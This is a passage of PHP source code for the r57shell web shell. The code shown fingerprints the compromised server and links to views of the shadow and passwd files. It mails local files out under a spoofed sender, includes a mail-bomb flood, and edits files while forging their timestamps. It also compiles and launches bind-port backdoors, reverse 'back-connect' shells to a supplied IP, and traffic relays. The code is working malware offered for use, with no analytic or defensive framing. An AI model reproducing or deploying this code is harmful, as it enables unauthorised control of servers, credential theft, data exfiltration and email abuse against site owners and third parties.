3985CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
3986
3987b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
3988
39890ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
3990
39919wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
3992
3993CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
3994
3995aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
3996
3997gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
3998
39999yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
4000
4001if($unix)
4002
4003 {
4004
4005 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
4006
4007 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
4008
4009 if($safe_mode) { $sysctl = '-'; }
4010
4011 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
4012
4013 else
4014
4015 {
4016
4017 $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
4018
4019 if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
4020
4021 if(empty($sysctl)) { $sysctl = '-'; }
4022
4023 setcookie('sysctl',$sysctl);
4024
4025 }
4026
4027 }
4028
4029
4030
4031if(!isset($_COOKIE[$lang[$language.'_text137']])) {
4032
4033 $ust_u='';
4034
4035 if($unix && !$safe_mode){
4036
4037 foreach ($userful as $item) {
4038
4039 if(which($item)){$ust_u.=$item;}
4040
4041 }
4042
4043 }
4044
4045 if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
4046
4047 if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
4048
4049 if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
4050
4051 if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
4052
4053 if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
4054
4055 if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
4056
4057 if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
4058
4059 if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
4060
4061
4062
4063 $ust_u = trim($ust_u);
4064
4065 setcookie($lang[$language.'_text137'],$ust_u);
4066
4067}else {
4068
4069 $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
4070
4071}
4072
4073
4074
4075if(!isset($_COOKIE[$lang[$language.'_text138']])) {
4076
4077 $ust_d='';
4078
4079 if($unix && !$safe_mode){
4080
4081 foreach ($danger as $item) {
4082
4083 if(which($item)){$ust_d.=$item;}
4084
4085 }
4086
4087 }
4088
4089 if(!$safe_mode){
4090
4091 foreach ($danger as $item) {
4092
4093 if(ps($item)){$ust_d.=$item;}
4094
4095 }
4096
4097 }
4098
4099 if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
4100
4101 if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
4102
4103
4104
4105 $ust_d = trim($ust_d);
4106
4107 setcookie($lang[$language.'_text138'],$ust_d);
4108
4109}else {
4110
4111 $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
4112
4113}
4114
4115
4116
4117if(!isset($_COOKIE[$lang[$language.'_text142']])) {
4118
4119
4120
4121 $select_downloaders='<select size="1" name=with>';
4122
4123 if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
4124
4125 if($unix && !$safe_mode){
4126
4127 foreach ($downloaders as $item) {
4128
4129 if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
4130
4131 }
4132
4133 }
4134
4135 $select_downloaders .= '</select>';
4136
4137 if(substr($downloader,0,1)==",") {$downloader[0]="";}
4138
4139
4140
4141 $downloader=trim($downloader);
4142
4143 setcookie('select_downloaders',$select_downloaders);
4144
4145 setcookie('downloader',$downloader);
4146
4147}else {
4148
4149 $select_downloaders = $_COOKIE['select_downloaders'];
4150
4151 $downloader = trim($_COOKIE['downloader']);
4152
4153}
4154
4155
4156
4157
4158
4159echo $head;
4160
4161echo '</head>';
4162
4163
4164
4165echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=100><font face=Verdana size=2>'.
4166
4167ws(2).'<b>'.ws(2).'<center>r57shell<br>v.'.$version.'</b><br><br><br></center></font>'.
4168
4169$fs.'<font face=Verdana size=-2><center>'.$lang[$language.'_text143']."<b>".$tempdir."</b><br>".$select_tempdir.'<br>'.in('submit','submit',0,$lang[$language.'_butt6']).
4170
4171'</center></font>'.$fe.'</td>'.'<td bgcolor=#cccccc><font face=Verdana size=-2>';
4172
4173echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
4174
4175echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4176
4177echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
4178
4179echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
4180
4181
4182
4183echo "<br>";
4184
4185
4186
4187echo ws(2)."PHP version: <b>".@phpversion()."</b>";
4188
4189$curl_on = @function_exists('curl_version');
4190
4191echo ws(2);
4192
4193echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4194
4195echo "</b>".ws(2);
4196
4197echo "MySQL: <b>";
4198
4199$mysql_on = @function_exists('mysql_connect');
4200
4201if($mysql_on){
4202
4203echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
4204
4205echo "</b>".ws(2);
4206
4207echo "MSSQL: <b>";
4208
4209$mssql_on = @function_exists('mssql_connect');
4210
4211if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4212
4213echo "</b>".ws(2);
4214
4215echo "PostgreSQL: <b>";
4216
4217$pg_on = @function_exists('pg_connect');
4218
4219if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4220
4221echo "</b>".ws(2);
4222
4223echo "Oracle: <b>";
4224
4225$ora_on = @function_exists('ocilogon');
4226
4227if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4228
4229echo "</b>".ws(2);
4230
4231echo "MySQLi: <b>";
4232
4233$mysqli_on = @function_exists('mysqli_connect');
4234
4235if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4236
4237echo "</b>".ws(2);
4238
4239echo "mSQL: <b>";
4240
4241$msql_on = @function_exists('msql_connect');
4242
4243if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4244
4245echo "</b>".ws(2);
4246
4247echo "SQLite: <b>";
4248
4249$sqlite_on = @function_exists('sqlite_open');
4250
4251if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
4252
4253echo "</b><br>".ws(2);
4254
4255
4256
4257echo "Safe_mode: <b>";
4258
4259echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
4260
4261echo "</b>".ws(2);
4262
4263echo "Open_basedir: <b>";
4264
4265if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
4266
4267else {echo "<font color=green>NONE</font></b>";}
4268
4269echo ws(2)."Safe_exec_dir: <b>";
4270
4271if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4272
4273else {echo "<font color=red>ini_get disable!</font></b>";}
4274
4275echo ws(2)."Safe_gid: <b>";
4276
4277if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
4278
4279else {echo "<font color=red>ini_get disable!</font></b>";}
4280
4281echo ws(2)."Safe_include_dir: <b>";
4282
4283if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
4284
4285else {echo "<font color=red>ini_get disable!</font></b>";}
4286
4287echo ws(2)."Sql.safe_mode: <b>";
4288
4289if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
4290
4291else {echo "<font color=red>ini_get disable!</font></b>";}
4292
4293
4294
4295echo "<br>".ws(2);
4296
4297echo "Disable functions : <b>";$df='ini_get disable!';
4298
4299if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
4300
4301
4302
4303if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
4304
4305elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
4306
4307if (!$free) {$free = 0;}
4308
4309$all = @disk_total_space($dir);
4310
4311if (!$all) {$all = 0;}
4312
4313echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
4314
4315
4316
4317
4318
4319if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
4320
4321
4322
4323if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
4324
4325
4326
4327if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
4328
4329
4330
4331
4332
4333echo "<br>".ws(2)."</b>";
4334
4335echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
4336
4337echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
4338
4339echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
4340
4341echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?4' title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
4342
4343if(!$unix) {
4344
4345 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
4346
4347}else{
4348
4349 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
4350
4351 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>resolv</b></a> ".$rb;
4352
4353 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>hosts</b></a> ".$rb;
4354
4355 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>shadow</b></a> ".$rb;
4356
4357 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
4358
4359}
4360
4361echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
4362
4363echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
4364
4365
4366
4367if($unix && !$safe_mode)
4368
4369{
4370
4371 echo "<br>".ws(2)."</b>";
4372
4373 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
4374
4375 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>version</b></a> ".$rb;
4376
4377 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>free</b></a> ".$rb;
4378
4379 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
4380
4381 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
4382
4383 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
4384
4385 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
4386
4387 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
4388
4389 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>realise1</b></a> ".$rb;
4390
4391 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>realise2</b></a> ".$rb;
4392
4393 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
4394
4395
4396
4397 echo "<br>".ws(2)."</b>";
4398
4399 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>w</b></a> ".$rb;
4400
4401 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>who</b></a> ".$rb;
4402
4403 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>uptime</b></a> ".$rb;
4404
4405 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>last</b></a> ".$rb;
4406
4407 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
4408
4409 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>service</b></a> ".$rb;
4410
4411 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
4412
4413 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
4414
4415 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>fstab</b></a> ".$rb;
4416
4417 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
4418
4419 echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
4420
4421}
4422
4423
4424
4425echo '</font></td></tr><table>
4426
4427<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
4428
4429<tr><td align=right width=100>';
4430
4431echo $font;
4432
4433
4434
4435if($unix){
4436
4437echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4438
4439echo "</td><td>";
4440
4441echo "<font face=Verdana size=-2 color=red><b>";
4442
4443echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
4444
4445echo ws(3).$sysctl."<br>";
4446
4447echo ws(3).ex('echo $OSTYPE')."<br>";
4448
4449echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4450
4451if(!empty($id)) { echo ws(3).$id."<br>"; }
4452
4453else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
4454
4455 {
4456
4457 $euserinfo = @posix_getpwuid(@posix_geteuid());
4458
4459 $egroupinfo = @posix_getgrgid(@posix_getegid());
4460
4461 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
4462
4463 }
4464
4465else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
4466
4467echo ws(3).$dir;
4468
4469echo ws(3).'( '.perms(@fileperms($dir)).' )';
4470
4471echo "</b></font>";
4472
4473}
4474
4475else
4476
4477{
4478
4479echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4480
4481echo "</td><td>";
4482
4483echo "<font face=Verdana size=-2 color=red><b>";
4484
4485echo ws(3).@substr(@php_uname(),0,120)."<br>";
4486
4487echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4488
4489echo ws(3).@getenv("USERNAME")."<br>";
4490
4491echo ws(3).$dir;
4492
4493echo "<br></font>";
4494
4495}
4496
4497echo "</font>";
4498
4499echo "</td></tr></table>";
4500
4501
4502
4503if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
4504
4505 {
4506
4507 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
4508
4509 err(6+$res);
4510
4511 $_POST['cmd']="";
4512
4513 }
4514
4515if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
4516
4517 {
4518
4519 if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
4520
4521 else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
4522
4523 if(!empty($_POST['cmd']))
4524
4525 {
4526
4527 $filename = @basename($_POST['loc_file']);
4528
4529 $content_encoding=$mime_type='';
4530
4531 compress($filename,$filedump,$_POST['compress']);
4532
4533 $attach = array(
4534
4535 "name"=>$filename,
4536
4537 "type"=>$mime_type,
4538
4539 "content"=>$filedump
4540
4541 );
4542
4543 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
4544
4545 if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
4546
4547 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
4548
4549 err(6+$res);
4550
4551 $_POST['cmd']="";
4552
4553 }
4554
4555 }
4556
4557if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
4558
4559 {
4560
4561 for($h=1;$h<=$_POST['mail_flood'];$h++){
4562
4563 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
4564
4565 }
4566
4567 err(6+$res);
4568
4569 $_POST['cmd']="";
4570
4571 }
4572
4573if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
4574
4575{
4576
4577$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
4578
4579}
4580
4581if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
4582
4583 {
4584
4585 switch($_POST['what'])
4586
4587 {
4588
4589 case 'own':
4590
4591 @chown($_POST['param1'],$_POST['param2']);
4592
4593 break;
4594
4595 case 'grp':
4596
4597 @chgrp($_POST['param1'],$_POST['param2']);
4598
4599 break;
4600
4601 case 'mod':
4602
4603 @chmod($_POST['param1'],intval($_POST['param2'], 8));
4604
4605 break;
4606
4607 }
4608
4609 $_POST['cmd']="";
4610
4611 }
4612
4613if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
4614
4615 {
4616
4617 switch($_POST['what'])
4618
4619 {
4620
4621 case 'file':
4622
4623 if($_POST['action'] == "create")
4624
4625 {
4626
4627 if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4628
4629 else {
4630
4631 $_POST['e_name'] = $_POST['mk_name'];
4632
4633 $_POST['cmd']="edit_file";
4634
4635 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
4636
4637 }
4638
4639 }
4640
4641 else if($_POST['action'] == "delete")
4642
4643 {
4644
4645 if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
4646
4647 $_POST['cmd']="";
4648
4649 }
4650
4651 break;
4652
4653 case 'dir':
4654
4655 if($_POST['action'] == "create"){
4656
4657 if(@mkdir($_POST['mk_name']))
4658
4659 {
4660
4661 $_POST['cmd']="";
4662
4663 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
4664
4665 }
4666
4667 else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
4668
4669 }
4670
4671 else if($_POST['action'] == "delete"){
4672
4673 if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
4674
4675 $_POST['cmd']="";
4676
4677 }
4678
4679 break;
4680
4681 }
4682
4683 }
4684
4685
4686
4687
4688
4689if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
4690
4691{
4692
4693if(!$_POST['file_name_r'])
4694
4695 {
4696
4697 $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
4698
4699 $datar = @strtotime($datar);
4700
4701 @touch($_POST['file_name'],$datar,$datar);}
4702
4703else{
4704
4705 @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
4706
4707}
4708
4709$_POST['cmd']="";
4710
4711}
4712
4713
4714
4715
4716
4717if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
4718
4719 {
4720
4721 if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
4722
4723 elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
4724
4725 elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
4726
4727 elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
4728
4729 else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
4730
4731 if(!empty($_POST['cmd']))
4732
4733 {
4734
4735 echo $table_up3;
4736
4737 echo $font;
4738
4739 echo "<form name=save_file method=post>";
4740
4741 echo ws(3)."<b>".$_POST['e_name']."</b>";
4742
4743 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
4744
4745 echo @htmlspecialchars($filedump);
4746
4747 echo "</textarea>";
4748
4749 echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
4750
4751 echo "<input type=hidden name=dir value='".$dir."'>";
4752
4753 echo "<input type=hidden name=cmd value=save_file>";
4754
4755 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
4756
4757 echo "</div>";
4758
4759 echo "</font>";
4760
4761 echo "</form>";
4762
4763 echo "</td></tr></table>";
4764
4765 exit();
4766
4767 }
4768
4769 }
4770
4771if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
4772
4773 {
4774
4775 $mtime = @filemtime($_POST['e_name']);
4776
4777 if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
4778
4779 else {
4780
4781 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
4782
4783 morewrite($_POST['e_name'],$_POST['e_text']);
4784
4785 $_POST['cmd']="";
4786
4787 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
4788
4789 }
4790
4791 @touch($_POST['e_name'],$mtime,$mtime);
4792
4793 }
4794
4795
4796
4797
4798
4799if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
4800
4801{
4802
4803 cf($tempdir.'prxpl',$prx_pl);
4804
4805 $p2=which("perl");
4806
4807 $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
4808
4809 @unlink($tempdir.'prxpl');
4810
4811 $_POST['cmd']="ps -aux | grep prxpl";
4812
4813}
4814
4815if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
4816
4817{
4818
4819 cf($tempdir.'bd.c',$port_bind_bd_c);
4820
4821 $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
4822
4823 @unlink($tempdir.'bd.c');
4824
4825 $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
4826
4827 @unlink($tempdir.'bd');
4828
4829 $_POST['cmd']="ps -aux | grep bd";
4830
4831}
4832
4833if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
4834
4835{
4836
4837 cf($tempdir.'bdpl',$port_bind_bd_pl);
4838
4839 $p2=which("perl");
4840
4841 $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
4842
4843 @unlink($tempdir.'bdpl');
4844
4845 $_POST['cmd']="ps -aux | grep bdpl";
4846
4847}
4848
4849if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
4850
4851{
4852
4853 cf($tempdir.'back',$back_connect);
4854
4855 $p2=which("perl");
4856
4857 $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
4858
4859 @unlink($tempdir.'back');
4860
4861 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4862
4863}
4864
4865if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
4866
4867{
4868
4869 cf($tempdir.'back.c',$back_connect_c);
4870
4871 $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
4872
4873 @unlink($tempdir.'back.c');
4874
4875 $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
4876
4877 @unlink($tempdir.'back');
4878
4879 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4880
4881}
4882
4883if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
4884
4885{
4886
4887 cf($tempdir.'dp',$datapipe_pl);
4888
4889 $p2=which("perl");
4890
4891 $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
4892
4893 @unlink($tempdir.'dp');
4894
4895 $_POST['cmd']="ps -aux | grep dp";
4896
4897}
4898
4899if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
4900
4901{
4902
4903 cf($tempdir.'dpc.c',$datapipe_c);
4904
4905 $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
4906
4907 @unlink($tempdir.'dpc.c');
4908
4909 $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
4910
4911 @unlink($tempdir.'dpc');
4912
4913 $_POST['cmd']="ps -aux | grep dpc";
4914
